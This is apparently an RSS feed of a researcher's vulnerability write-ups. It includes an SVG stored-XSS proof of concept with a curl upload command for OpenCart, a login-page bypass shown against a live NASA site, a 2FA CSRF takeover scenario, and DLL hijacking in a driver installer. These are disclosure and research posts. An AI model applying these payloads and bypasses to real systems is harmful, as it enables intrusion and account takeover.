<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Miguel Angel Méndez Z. on Medium]]></title>
        <description><![CDATA[Stories by Miguel Angel Méndez Z. on Medium]]></description>
        <link>https://medium.com/@s1kr10s?source=rss-691af447be50------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*K3x1ZrIFdSfvmzMtXYa91g.png</url>
            <title>Stories by Miguel Angel Méndez Z. on Medium</title>
            <link>https://medium.com/@s1kr10s?source=rss-691af447be50------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:59:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@s1kr10s/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Stored XSS via SVG File Upload in OpenCart 4.1.0.4]]></title>
            <link>https://infosecwriteups.com/stored-xss-via-svg-file-upload-in-opencart-4-1-0-4-889c75a3ac69?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/889c75a3ac69</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ecommerce]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 03:51:38 GMT</pubDate>
            <atom:updated>2026-09-22T03:51:38.364Z</atom:updated>
            <content:encoded><![CDATA[<p>The design decision to treat SVG as a passive raster image within the whitelists. SVG is an XML-based vector format capable of executing scripts; including it in the same bucket as JPG, PNG, or GIF creates a security gap that both validations (extension and MIME type) fail to address, as both are trivially satisfied — they act as whitelists that explicitly allow the dangerous format rather than excluding it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AZhBXwC3Gs9eo3eNTuVUg.jpeg" /></figure><h3>E-commerce Market Share</h3><p>According to W3Techs, as of <strong>July 2026</strong>, OpenCart represents approximately:</p><ul><li><strong>2.0%</strong> of the e-commerce systems monitored by W3Techs.</li><li><strong>0.3%</strong> of all websites.</li><li><strong>0.5%</strong> of the CMS market, according to their methodology.</li></ul><p>For context, W3Techs reports approximately:</p><p><strong>WooCommerce → 48.4%</strong><br><strong>Shopify → 31.2%</strong><br><strong>PrestaShop → 2.9%</strong><br><strong>OpenCart → 2.0%</strong></p><p>among e-commerce systems with more than 1% market share.</p><blockquote>BuiltWith currently identifies more than 192,000 live websites using OpenCart, while more than 753,000 additional websites have historically been detected using the platform.</blockquote><h3>Root Cause Analysis</h3><p>The back-office File Manager allows image uploads to the image/catalog/ directory inside the web root. The validation applied relies solely on two whitelists: one for file extensions and another for MIME types. Both explicitly include the SVG format:</p><pre>// upload/admin/controller/common/filemanager.php - upload() method<br>// Extension whitelist (lines 315-323)<br>$allowed = [<br>    &#39;ico&#39;,<br>    &#39;jpg&#39;,<br>    &#39;jpeg&#39;,<br>    &#39;png&#39;,<br>    &#39;gif&#39;,<br>    &#39;webp&#39;,<br>    &#39;svg&#39;          // ← line 322: SVG allowed<br>];<br><br>// MIME type whitelist (lines 330-339)<br>$allowed = [<br>    &#39;image/x-icon&#39;,<br>    &#39;image/jpeg&#39;,<br>    &#39;image/pjpeg&#39;,<br>    &#39;image/png&#39;,<br>    &#39;image/x-png&#39;,<br>    &#39;image/gif&#39;,<br>    &#39;image/webp&#39;,<br>    &#39;image/svg+xml&#39; // ← line 338: SVG MIME allowed<br>];</pre><p>SVG is not a raster image format like JPG or PNG; it is XML and can contain active code (&lt;script&gt;, onload=, , etc.). After passing both whitelists, the file is moved without any content inspection:</p><pre>// line 354<br>move_uploaded_file($file[&#39;tmp_name&#39;], $directory . $filename);</pre><p>Finally, in the list() method, the generated link (href) sent to the browser points directly to the raw file in the web root, rather than to a processed thumbnail:</p><pre>// line 152<br>&#39;href&#39; =&gt; HTTP_CATALOG . &#39;image/catalog/&#39; . oc_substr($path, oc_strlen($base)),</pre><p>The file is served directly by the web server (Apache/Nginx) as a static resource, completely outside of OpenCart’s PHP pipeline; as a result, no application layer ever handles or sanitizes it again.</p><h3>PoC</h3><p>Prerequisite: An active administrator session with the modify common/filemanager permission (granted by default to the Administrator group).</p><pre># 1) SVG payload containing active content<br>cat &gt; /tmp/xss.svg &lt;&lt;&#39;SVG&#39;<br>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; onload=&quot;alert(document.domain)&quot;&gt;<br>  &lt;rect width=&quot;200&quot; height=&quot;200&quot; style=&quot;fill:red&quot;/&gt;<br>&lt;/svg&gt;<br>SVG<br><br># 2) Upload via the file manager endpoint<br>#    (the multipart field is named file[] — filemanager.twig:65)<br>curl -s -b &quot;OCSESSID=$SID&quot; \<br>  &quot;http://localhost/admin/index.php?route=common/filemanager.upload&amp;user_token=$TOKEN&quot; \<br>  -F &#39;file[]=@/tmp/xss.svg;type=image/svg+xml&#39;<br># =&gt; {&quot;success&quot;:&quot;Success: File uploaded!&quot;}</pre><p>Served URL (executes the script upon visiting):<br><a href="http://localhost/image/catalog/xss.svg">http://localhost/image/catalog/xss.svg</a></p><p>Observable Result: When navigating to this URL (or when opening it via a link from the file manager / product details page), alert(document.domain) executes within the same origin as the admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgXgGDg3ztoUtUCCk-3TFQ.png" /></figure><h3>Advisory Closed</h3><p><strong>Update:</strong> The advisory has now been closed by an OpenCart maintainer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBIIECEmoDQPBKOPTfhD_A.png" /></figure><blockquote>Well… at least they were honest. 😂</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NhmBmbOvDs9GSDd-HWd3qg.png" /></figure><p><a href="https://forum.opencart.com/viewtopic.php?t=236853">https://forum.opencart.com/viewtopic.php?t=236853</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=889c75a3ac69" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/stored-xss-via-svg-file-upload-in-opencart-4-1-0-4-889c75a3ac69">Stored XSS via SVG File Upload in OpenCart 4.1.0.4</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NASA — Hidden Login Page Bypass via auth_redirect + 403 Bypass (CVE-2023–5089)]]></title>
            <link>https://infosecwriteups.com/nasa-hidden-login-page-bypass-via-auth-redirect-403-bypass-cve-2023-5089-2999fa3ca4d4?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/2999fa3ca4d4</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[nasa]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Wed, 26 Aug 2026 04:34:46 GMT</pubDate>
            <atom:updated>2026-08-26T04:34:46.259Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLkxKJyUNViJt2iSouoX2Q.png" /></figure><p>Defender Security versions prior to 4.1.0 fail to properly restrict access to the WordPress login page when the Hide Login Page feature is enabled. By abusing the auth_redirect function (CVE-2023–5089), an unauthenticated attacker can trigger a redirect to the login endpoint and bypass the initial HTTP 403 restriction via URL path manipulation, gaining access to the WordPress login page.</p><p>This issue constitutes a Broken Access Control vulnerability, as unauthenticated users can bypass enforced access restrictions and interact with a fully restricted authentication endpoint, resulting in an implicit privilege escalation and enabling further attacks such as brute force, credential stuffing, and user enumeration.</p><h4><strong>Trigger auth_redirect (CVE-2023–5089)</strong></h4><p>The application triggers a redirect to the WordPress login endpoint via auth_redirect.</p><p><strong>Target:</strong><a href="https://partnerships.gsfc.nasa.gov/?gf_page=randomstring">https://partnerships.gsfc.nasa.gov/?gf_page=randomstring</a></p><p>The initial HTTP request is performed, which triggers an automatic redirection to a protected resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2zVKPBnCvibNhyYTfcXWw.png" /></figure><p>The redirection is followed to the authentication endpoint, which is expected to display the login interface; however, due to the configured access restrictions, this resource should not be accessible or visible to unauthenticated users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSaYqsId8VBJp8kGaAUVrg.png" /></figure><h4><strong>Step 2 — Login Page Access Blocked (403)</strong></h4><p>The identified condition is validated by reproducing it directly within a web browser.</p><p><strong>Redirected URL: </strong><a href="https://partnerships.gsfc.nasa.gov/code102/?redirect_to=https%3A%2F%2Fpartnerships.gsfc.nasa.gov%2F%3Fgf_page%3Drandomstring&amp;reauth=1">https://partnerships.gsfc.nasa.gov/code102/?redirect_to=https%3A%2F%2Fpartnerships.gsfc.nasa.gov%2F%3Fgf_page%3Drandomstring&amp;reauth=1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_zTXcF-sAYP-YoeQ8cBlQ.png" /></figure><p><strong>Result:</strong></p><ul><li>403 restriction is bypassed</li><li>WordPress login page becomes accessible</li></ul><p>By manipulating the URL through GET parameters, it is possible to access and display the WordPress login interface, effectively bypassing the previously configured access restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTE2ChDmUWbV-CsP9Wo6pw.png" /></figure><p>Next, the same HTTP 403 (Forbidden) bypass technique is tested to validate authentication credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcMDqLBLTeh-KFNO-fpQ-g.png" /></figure><p>The HTTP request is captured in order to apply the required URL manipulation to bypass the 403 (Forbidden) response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_IsOaQmJv-BOO9qhdXOPdw.png" /></figure><p>Finally, the bypass is successful, as the application processes the credential validation mechanism even when the supplied credentials are not valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KNZfFt4mVeU0blWJUSQjlg.png" /></figure><p><strong>The combination of:</strong></p><ol><li>auth_redirect abuse (CVE-2023-5089)</li><li>URL Path Manipulation</li></ol><p>allows an unauthenticated attacker to fully bypass the hidden login protection.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FyIx0XLx-iRQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DyIx0XLx-iRQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FyIx0XLx-iRQ%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cc90accf29eb31c7a56f93cdffae7b06/href">https://medium.com/media/cc90accf29eb31c7a56f93cdffae7b06/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2999fa3ca4d4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/nasa-hidden-login-page-bypass-via-auth-redirect-403-bypass-cve-2023-5089-2999fa3ca4d4">NASA — Hidden Login Page Bypass via auth_redirect + 403 Bypass (CVE-2023–5089)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking 2FA in WordPress: Account Takeover via CSRF in Google Authenticator — CVE-2026–14204]]></title>
            <link>https://infosecwriteups.com/breaking-2fa-in-wordpress-account-takeover-via-csrf-in-google-authenticator-1b01d078b4a5?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b01d078b4a5</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 05:57:45 GMT</pubDate>
            <atom:updated>2026-07-27T19:01:28.113Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUKrYMnBEoGVjpiFOtPRRw.png" /></figure><p>In the WordPress ecosystem, security plugins are the first line of defense. However, when they fail, the impact can be critical.</p><p>In this article, we analyze a Cross-Site Request Forgery (CSRF) vulnerability in the Google Authenticator plugin (&lt;= 0.55) that allows something extremely severe:</p><blockquote>Overwrite an administrator’s 2FA secret without their consent.</blockquote><h3><strong>Technical Summary</strong></h3><ul><li><strong>Affected Plugin:</strong> Google Authenticator (WordPress)</li><li><strong>Version:</strong> &lt;= 0.55</li><li><strong>CWE:</strong> CWE-352 (CSRF)</li><li><strong>Authentication Required:</strong> None (the victim must be logged in as an administrator)</li></ul><pre>function save_submitted_setup_page() { <br>  $user = wp_get_current_user(); <br>  $secret = empty($_POST[&#39;GA_secret&#39;]) ? &#39;&#39; : sanitize_text_field($_POST[&#39;GA_secret&#39;]); <br>  $otp = empty($_POST[&#39;GA_otp_code&#39;]) ? &#39;&#39; : sanitize_text_field($_POST[&#39;GA_otp_code&#39;]); <br>  <br>  if ($timeslot = $this-&gt;verify($secret, $otp, $relaxed_mode, &#39;&#39;)) { <br>    update_user_option($user-&gt;ID, &#39;googleauthenticator_secret&#39;, $secret, true); <br>    update_user_option($user-&gt;ID, &#39;googleauthenticator_enabled&#39;, &#39;enabled&#39;, true); <br>  } <br>}</pre><h3>Root Cause</h3><p>The developer completely omitted critical security controls:</p><ul><li>❌ check_admin_referer()</li><li>❌ wp_verify_nonce()</li></ul><p>This enables classic CSRF attacks against an extremely sensitive functionality: 2FA configuration.</p><h3><strong>Real-World Attack Scenario</strong></h3><p>The attack is not just theoretical — it is highly exploitable and, when combined with social engineering, results in full account takeover:</p><h3>1. Attacker Preparation</h3><ul><li>Generates a valid secret (e.g., <strong>KRUGS4ZANFZSA43B</strong>)</li><li>Adds it to their own Google Authenticator app</li><li>Sets up a phishing site</li></ul><h3>2. Social Engineering</h3><ul><li>Sends an email such as: <strong><em>Critical 2FA security update required</em></strong></li></ul><h3>3. <strong>Victim Interaction</strong></h3><ul><li>Adds the attacker’s secret to their app</li><li>Generates a valid OTP</li><li>Enters it into the malicious website</li></ul><h3>4. CSRF Execution</h3><ul><li>The browser sends a legitimate POST request (without a nonce)</li><li>WordPress accepts it as valid</li></ul><h3>5. Result</h3><ul><li>The 2FA secret is replaced</li><li>The admin is locked out</li><li>The attacker gains full access</li></ul><h3><strong>Attack Demonstration</strong></h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-eG67jaiTxU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-eG67jaiTxU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-eG67jaiTxU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6242ba7398727b3455d35cb8771c8f08/href">https://medium.com/media/6242ba7398727b3455d35cb8771c8f08/href</a></iframe><h3>Impact</h3><ul><li>Full account takeover</li><li>Persistence</li><li>Complete 2FA bypass</li><li>Loss of access for the legitimate administrator</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b01d078b4a5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/breaking-2fa-in-wordpress-account-takeover-via-csrf-in-google-authenticator-1b01d078b4a5">Breaking 2FA in WordPress: Account Takeover via CSRF in Google Authenticator — CVE-2026–14204</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I went for coffee and came back with 6 vulnerabilities in WordPress plugins — CVE-2026–10736]]></title>
            <link>https://infosecwriteups.com/i-went-for-coffee-and-came-back-with-6-vulnerabilities-in-wordpress-plugins-8f98fd40ef90?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f98fd40ef90</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 15:47:55 GMT</pubDate>
            <atom:updated>2026-07-27T19:04:07.197Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFC50mKoRJ78M6ZQDxBt3Q.png" /></figure><h3><strong>Research Summary</strong></h3><p>This research analyzes the security of six WordPress plugins and core components, identifying vulnerabilities such as unauthenticated file uploads, SQL injection, SSRF, and open redirects. It shows how common mistakes — like improper nonce usage, missing wp_prepare(), or unsafe wp_redirect—can put many websites at risk. These videos demonstrate Proofs of Concept (PoC) of the identified vulnerabilities.</p><h3>1. Royal Elementor Addons — Arbirary File Upload</h3><p>We explore how a poorly secured AJAX endpoint allows any anonymous user (without being logged in) to upload files to the server. The vulnerability lies in the use of a globally exposed nonce in the frontend and the lack of capability validation in the handle_file_upload function. We demonstrate how to upload a .txt file (as a proof of concept) that becomes publicly accessible in the uploads directory, opening the door to malware and phishing attacks.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FsAN95yWDi-Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DsAN95yWDi-Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FsAN95yWDi-Y%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/898501280917390f2db5dfda054dc0e0/href">https://medium.com/media/898501280917390f2db5dfda054dc0e0/href</a></iframe><h3>2. Appointment Hour Booking — CSS Injection</h3><p>A user with the Editor role can inject arbitrary CSS code that is rendered across the entire site. Since saving custom styles is not restricted to administrators only, an attacker can perform a full defacement, create transparent phishing overlays to steal higher-privileged admin credentials, or exfiltrate data using CSS selectors.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FsgX7W8pmJ-8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DsgX7W8pmJ-8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FsgX7W8pmJ-8%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/326a2fe6a3d6aef3e0063175207d6814/href">https://medium.com/media/326a2fe6a3d6aef3e0063175207d6814/href</a></iframe><h3>3. Tutor LMS — SQL Injection (<a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-3911-authenticated-administrator-sql-injection-via-data-parameter">CVE-2026–10736</a>)</h3><p>An Error-Based SQL injection in the status parameter of the withdrawals model. The issue occurs because the plugin relies on sanitize_text_field() to protect SQL queries, an unsafe practice that does not escape single quotes. We demonstrate how an attacker with management-level permissions can use EXTRACTVALUE to extract the administrator’s password hash directly from the database.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKKEeHSRLx8I%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKKEeHSRLx8I&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKKEeHSRLx8I%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/dd0a4ec878a5d4f0c058809daf995744/href">https://medium.com/media/dd0a4ec878a5d4f0c058809daf995744/href</a></iframe><h3>4. Better WP Security — SSRF</h3><p>A REST API endpoint allows an administrator to force the server to perform external HTTP requests. Due to the lack of validation of the provided URL destination, the server can be used as a proxy to scan the internal corporate network or, even worse, to access cloud service metadata (AWS/GCP/Azure) and steal infrastructure credentials.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FP3nTG8rnR8I%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DP3nTG8rnR8I&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FP3nTG8rnR8I%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4dddfde49818f0a4e76bf4cf29a988bd/href">https://medium.com/media/4dddfde49818f0a4e76bf4cf29a988bd/href</a></iframe><h3>5. SAML SSO — SSRF</h3><p>The IdP metadata import endpoint accepts arbitrary URLs without internal network validation. We demonstrate how an attacker can direct the request to loopback addresses (127.0.0.1) or protected internal services, exploiting the fact that the WordPress server blindly trusts the provided URL to retrieve XML configurations.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F18TsdV80CVo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D18TsdV80CVo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F18TsdV80CVo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/340059982f4342556d0611b3e829261e/href">https://medium.com/media/340059982f4342556d0611b3e829261e/href</a></iframe><h3>6. WooCommerce — Open Redirect</h3><p>We analyze an Open Redirect vulnerability in the authorization component of the WooCommerce REST API (WC_Auth). The issue allows an attacker to supply an arbitrary return_url parameter that is not validated against a whitelist of allowed domains. We demonstrate how an attacker can disguise a legitimate authorization link so that, once the administrator approves the permissions, they are automatically redirected to a malicious phishing site. The use of wp_redirect() instead of wp_safe_redirect() is the core technical flaw explored in this flow.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVwB81CCPz28%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVwB81CCPz28&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVwB81CCPz28%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e3d7c19b4eba3247a7297b727e0ecdc9/href">https://medium.com/media/e3d7c19b4eba3247a7297b727e0ecdc9/href</a></iframe><h3><strong>Conclusion:</strong> Security is not a “Plugin”, it is a Process</h3><p>Throughout this analysis, we have seen how components of the WordPress ecosystem can harbor vulnerabilities if secure development best practices are not followed. From the exposure of sensitive files to SQL injections that compromise entire databases, the common thread across these six findings is always the same: blind trust in user input.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f98fd40ef90" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-went-for-coffee-and-came-back-with-6-vulnerabilities-in-wordpress-plugins-8f98fd40ef90">I went for coffee and came back with 6 vulnerabilities in WordPress plugins — CVE-2026–10736</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DLL hijacking in TOTOLINK A600UB Driver Installer | CVE-2024–51141]]></title>
            <link>https://infosecwriteups.com/dll-hijacking-in-totolink-a600ub-driver-installer-13787c4d97b4?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/13787c4d97b4</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[reversing]]></category>
            <category><![CDATA[binary]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Sun, 27 Oct 2024 23:14:27 GMT</pubDate>
            <atom:updated>2024-11-13T12:21:10.474Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lt72i1jyqaPyqgKPGMsmyw.png" /></figure><h3>Introduction</h3><p>In this article, we will explore a DLL Hijacking vulnerability detected in a driver installer for Realtek, used by the device company TOTOLINK in one of its USB modems. We will analyze how this vulnerability works and its implications in terms of security. Through this analysis, we aim to provide a deep understanding of this threat and promote more robust development and security practices to prevent future incidents.</p><h3>What is DLL Hijacking?</h3><p>DLL Hijacking is an attack technique that exploits the way Windows loads dynamic link libraries (DLLs). When an application requires a DLL, Windows follows a search order to locate it. An attacker can place a malicious DLL in a preferred location within this order, causing it to load instead of the legitimate DLL. This allows the attacker to execute malicious code with the same privileges as the application, potentially compromising the system and performing unauthorized actions.</p><h3>Technical Details</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*rLYzCA0yg32y0RJzSghstQ.png" /></figure><ul><li>Installer Executable</li><li>Operating System: Windows 10/8.1/8/7/XP</li><li>Download Binarie: <a href="https://totolink.com.my/products/a600ub/">https://totolink.com.my/products/a600ub/</a></li></ul><h3>Exploitation Process</h3><p>Upon downloading and executing the binary, it presents two installation options: the first allows the installation of the Wi-Fi driver, while the second option is for installing the Bluetooth driver. Both drivers are installed and are ultimately stored on the disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*q8W2Ec3JQZvpGbJq2UK79w.png" /></figure><p>After completing the installation and configuration process, the corresponding files are saved on the hard drive, specifically in the path C:\Program Files\TOTOLINK\WiFiAutoInstall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*6kDcO9x99Ri8cxcRfr3-jw.png" /></figure><p>When executing the corresponding binary, it can be observed, through the use of the Procmon tool, that the binary makes calls to several DLLs. However, these DLLs are not present on the system or in the current path of the binary, allowing the end user to add a custom DLL to execute a specific action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpCje21htY0AiTQLwjC2nQ.png" /></figure><p>It can be observed that lpVerb is set to &quot;runas,&quot; which indicates that the program will run with administrator privileges, activating User Account Control (UAC). This will then execute WifiAutoInstallDriver.exe, which is set in lpFile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVO5ejxDJ5250SQOdwYQDw.png" /></figure><p>Here is a basic code to create a test DLL that executes cmd.exe when loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jCUkw8tnV0V_ORNvkbVSw.png" /></figure><h3>Exploitation Chain Flow</h3><p>With the identification of the missing DLL and the creation of a custom DLL, the attacker could place this DLL in a directory from which the trusted binary can load it. The attacker could then wait for an administrator to execute the legitimate binary or use social engineering techniques to convince a user with appropriate permissions to run the binary. This would cause the binary to load the malicious DLL, allowing the attacker to elevate their privileges on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgAKgdSYGoOMuozVnLdRBA.png" /></figure><h3>Video PoC</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FL7RuQRTuuQM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DL7RuQRTuuQM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FL7RuQRTuuQM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/95c88a98c9add5dd10abfc1ff6f71534/href">https://medium.com/media/95c88a98c9add5dd10abfc1ff6f71534/href</a></iframe><h3><strong>Conclusion</strong></h3><p>The analysis of the DLL Hijacking vulnerability in the TOTOLINK A600UB driver installer reveals a critical security gap that can be easily exploited to compromise systems. By detecting and taking advantage of the absence of certain DLLs during the installation process, an attacker has the opportunity to inject malicious code, achieving privilege escalation that grants control over the affected system. This type of vulnerability underscores the urgent need to adopt more secure development practices, such as thorough validation of loaded files and careful management of DLL search paths.</p><h3>Advisory Timeline</h3><ul><li>October 14, 2024: Initial Contact with the Vendor</li><li>October 16, 2024: Request for CVE ID Submitted</li><li>November 13, 2024: CVE-2024–51141 Assigned</li></ul><p>Bye, see you soon…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13787c4d97b4" width="1" height="1" alt=""><hr><p><a 